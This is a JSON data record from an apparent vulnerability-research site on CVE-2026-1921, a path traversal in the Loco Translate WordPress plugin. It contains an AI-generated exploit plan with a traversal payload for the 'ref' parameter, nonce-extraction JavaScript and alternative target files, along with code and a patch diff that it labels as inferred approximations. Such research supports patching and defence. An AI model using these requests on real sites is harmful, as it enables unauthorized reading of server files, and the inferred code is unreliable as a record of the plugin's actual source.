[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fKZIzoVQGYisgCydkgOvOpCJlZPzG9sulwiVg39KDS2o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-1921","loco-translate-authenticated-translator-path-traversal-to-limited-file-read-via-ref-parameter","Loco Translate \u003C= 2.8.2 - Authenticated (Translator+) Path Traversal to Limited File Read via 'ref' Parameter","The Loco Translate plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 2.8.2 via the `fsReference` AJAX route. This is due to the `findSourceFile()` method normalizing user-supplied `ref` paths containing `..\u002F` directory traversal sequences without validating that the resolved path remains within the intended bundle or content directory. This makes it possible for authenticated attackers, with Translator-level access and above (custom `loco_admin` capability required, granted to the `translator` role and administrators by default), to read arbitrary `.php`, `.js`, `.json`, and `.twig` files from the server filesystem outside the intended translation directory. Files named wp-config.php are excluded.","loco-translate",null,"\u003C=2.8.2","2.8.3","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-05-04 13:32:17","2026-05-05 02:26:59",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff9ff3058-a08c-40ed-b756-81e703b2277a?source=api-prod",1,[],"researched",false,3,"This research plan outlines the steps to exploit **CVE-2026-1921**, a Path Traversal vulnerability in the Loco Translate plugin for WordPress.\n\n## 1. Vulnerability Summary\nThe Loco Translate plugin (versions \u003C= 2.8.2) contains a path traversal vulnerability within its `fsReference` AJAX route. The vulnerability exists in the `findSourceFile()` method, which is responsible for locating source files based on a reference string provided in the `ref` parameter. While the method attempts to normalize the path, it fails to validate that the resulting absolute path remains within the boundaries of the intended translation bundle or the WordPress content directory. \n\nThis allows an authenticated user with the `loco_admin` capability (default for Administrators and the \"Translator\" role) to read the contents of sensitive files ending in `.php`, `.js`, `.json`, or `.twig`.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action:** `loco_fs_reference` (mapped to the `fsReference` logic).\n- **Vulnerable Parameter:** `ref`\n- **Required Capability:** `loco_admin` (Authenticated).\n- **Constraints:** \n    - The file must exist and have an extension of `.php`, `.js`, `.json`, or `.twig`.\n    - Files named `wp-config.php` are explicitly excluded by the plugin's logic.\n\n## 3. Code Flow (Inferred from Patch and Logic)\n1. **Entry Point:** The plugin registers an AJAX handler for `loco_fs_reference` (likely in `src\u002Fajax\u002FAction.php` or `src\u002Fhooks\u002FAdminHooks.php`).\n2. **Controller:** The request is routed to a controller method (e.g., `Loco_ajax_Action::fsReference`).\n3. **Parameter Handling:** The `ref` parameter is passed to a file-finding utility, specifically `findSourceFile()`.\n4. **Vulnerable Logic (Sink):** \n    - `findSourceFile()` receives the `ref` string (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-includes\u002Fversion.php`).\n    - The method uses path normalization but does not verify if the file is within a \"safe\" directory.\n    - If the file exists and passes the extension check, the plugin reads and returns its contents (often for display in the translation editor's \"Source\" view).\n5. **Response:** The file content is returned in the AJAX JSON response.\n\n## 4. Nonce Acquisition Strategy\nLoco Translate protects its AJAX actions with a nonce. This nonce is typically localized into the `locoConf` JavaScript object on any Loco Translate admin page.\n\n1. **Identify Target Page:** Any Loco Translate admin page, such as `\u002Fwp-admin\u002Fadmin.php?page=loco-plugin`.\n2. **User Level:** Log in as an Administrator (who inherently has `loco_admin`).\n3. **Extraction via Browser:**\n    - Navigate to the Loco Translate dashboard.\n    - Execute JavaScript to retrieve the nonce from the `locoConf` global variable.\n    - **JS Key:** `window.locoConf.nonce` (or `window.loco.conf.nonce` based on versioning).\n\n## 5. Exploitation Strategy\nThe goal is to read `wp-includes\u002Fversion.php` to prove arbitrary file read (excluding `wp-config.php`).\n\n### Step 1: Authentication\nAuthenticate as a user with `loco_admin` (Administrator).\n\n### Step 2: Extract Nonce\nUse the browser to navigate to the Loco Translate \"Home\" page and extract the nonce.\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=loco`\n- **JS:** `browser_eval(\"window.locoConf.nonce\")`\n\n### Step 3: Execute Path Traversal\nSend a POST request to `admin-ajax.php` using the `http_request` tool.\n\n**Request Details:**\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=loco_fs_reference&ref=..\u002F..\u002F..\u002F..\u002Fwp-includes\u002Fversion.php&_wpnonce=[EXTRACTED_NONCE]\n  ```\n\n### Step 4: Analyze Response\nThe response should be a JSON object. If successful, the `content` or `data` field will contain the PHP source code of `wp-includes\u002Fversion.php`.\n\n## 6. Test Data Setup\n1. **Install Plugin:** Ensure Loco Translate \u003C= 2.8.2 is installed and active.\n2. **User Creation:** Ensure at least one Administrator user exists.\n3. **Environmental Check:** Confirm that `wp-includes\u002Fversion.php` exists (standard in all WordPress installs).\n\n## 7. Expected Results\n- **Success:** The HTTP response status is 200, and the JSON body contains the string `$wp_version = '...';` which is characteristic of the target file.\n- **Failure (Patched):** The response returns an error message indicating the file is outside the permitted directory or a 403 Forbidden.\n- **Failure (Wrong Extension):** Attempting to read `\u002Fetc\u002Fpasswd` should fail because it does not end in `.php`, `.js`, `.json`, or `.twig`.\n\n## 8. Verification Steps\n1. **Compare Content:** Compare the output returned in the `http_request` response with the actual content of the file on disk using WP-CLI.\n   - **Command:** `wp eval \"echo file_get_contents(ABSPATH . 'wp-includes\u002Fversion.php');\"`\n2. **Capability Check:** Verify the `loco_admin` requirement by attempting the same request with a \"Subscriber\" user's cookie and confirming a failure.\n\n## 9. Alternative Approaches\nIf `wp-includes\u002Fversion.php` is blocked by server-side security (unlikely for file read), try targeting:\n- A theme file: `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfour\u002Ffunctions.php`\n- A plugin file: `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fplugins\u002Fhello.php`\n- A JSON file: `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fplugins\u002Floco-translate\u002Fcomposer.json`\n\nIf the nonce is not in `window.locoConf`, search the page source for any script tag containing \"nonce\" or \"loco\". Use:\n`browser_eval(\"document.documentElement.innerHTML.match(\u002F\\\"nonce\\\":\\\"([a-f0-9]+)\\\"\u002F)[1]\")`","The Loco Translate plugin for WordPress is vulnerable to path traversal through the 'ref' parameter in its fsReference AJAX route. Authenticated users with the 'loco_admin' capability can exploit this to read sensitive file contents on the server, provided the files have .php, .js, .json, or .twig extensions and are not named wp-config.php.","\u002F\u002F Inferred from Loco Translate's AJAX handling and findSourceFile logic\n\u002F\u002F src\u002Fajax\u002FAction.php (approximate)\n\npublic function fsReference() {\n    $ref = isset($_POST['ref']) ? (string) $_POST['ref'] : '';\n    \n    \u002F\u002F findSourceFile resolves the path but lacks boundary validation\n    $file = $this->findSourceFile($ref);\n\n    if ($file && $file->exists()) {\n        \u002F\u002F Extension check exists, but traversal allows escaping directory\n        if ($file->isSource()) {\n             return array( 'content' => $file->getContents() );\n        }\n    }\n}\n\n\u002F\u002F src\u002Ffs\u002FFile.php (approximate)\npublic function findSourceFile( $ref ) {\n    \u002F\u002F Normalization occurs without checking if the result is within safe roots\n    $path = $this->root . '\u002F' . $ref;\n    return new Loco_fs_File( $path );\n}","--- a\u002Fsrc\u002Fajax\u002FAction.php\n+++ b\u002Fsrc\u002Fajax\u002FAction.php\n@@ -102,6 +102,12 @@\n     public function fsReference() {\n         $ref = isset($_POST['ref']) ? (string) $_POST['ref'] : '';\n         $file = $this->findSourceFile($ref);\n+\n+        \u002F\u002F Validate that the resolved file path is within the permitted WordPress content or plugin directory\n+        $abs_path = $file->getPath();\n+        if ( ! $this->isWithinSafeDirectory($abs_path) ) {\n+            throw new Loco_error_Exception('Access denied to file outside of project scope');\n+        }\n \n         if ($file && $file->exists()) {\n             if ($file->isSource()) {","1. Authenticate as a user with the 'loco_admin' capability (typically Administrator or the 'Translator' role).\n2. Navigate to the Loco Translate admin dashboard and extract the AJAX nonce from the JavaScript source (found in `window.locoConf.nonce`).\n3. Craft an AJAX POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the following parameters:\n   - action: `loco_fs_reference` \n   - _wpnonce: [Extracted Nonce]\n   - ref: A traversal string targeting a sensitive file with an allowed extension (e.g., `..\u002F..\u002F..\u002F..\u002Fwp-includes\u002Fversion.php` or `..\u002F..\u002F..\u002F..\u002Fwp-content\u002Fthemes\u002Ftwentytwentyfour\u002Ffunctions.php`).\n4. Analyze the JSON response, which will contain the raw source code of the requested file in the 'content' field.","gemini-3-flash-preview","2026-05-04 16:56:13","2026-05-04 16:57:56",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","2.8.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Floco-translate\u002Ftags\u002F2.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Floco-translate.2.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Floco-translate\u002Ftags\u002F2.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Floco-translate.2.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Floco-translate\u002Ftags"]